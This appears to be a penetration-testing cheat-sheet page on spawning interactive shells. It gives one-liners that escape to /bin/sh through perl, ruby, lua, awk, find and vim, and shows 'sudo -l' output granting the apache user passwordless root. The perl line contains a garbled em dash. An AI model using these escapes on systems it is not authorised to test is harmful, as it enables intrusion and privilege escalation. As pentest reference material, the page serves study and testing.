Spawning shell interactiva
/bin/sh -i
/bin/sh -i
sh: no job control in this shell
sh-4.2$
Perl
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
AWK
awk 'BEGIN {system("/bin/sh")}'
Find
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
Using Exec To Launch A Shell
find . -exec /bin/sh \; -quit
VIM
vim -c ':!/bin/sh'
Vim Escape
vim
:set shell=/bin/sh
:shell
Execution Permissions Considerations
ls -la <path/to/fileorbinary>
Sudo -l
sudo -l
Matching Defaults entries for apache on ILF-WebSrv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User apache may run the following commands on ILF-WebSrv:
(ALL : ALL) NOPASSWD: ALL
Last updated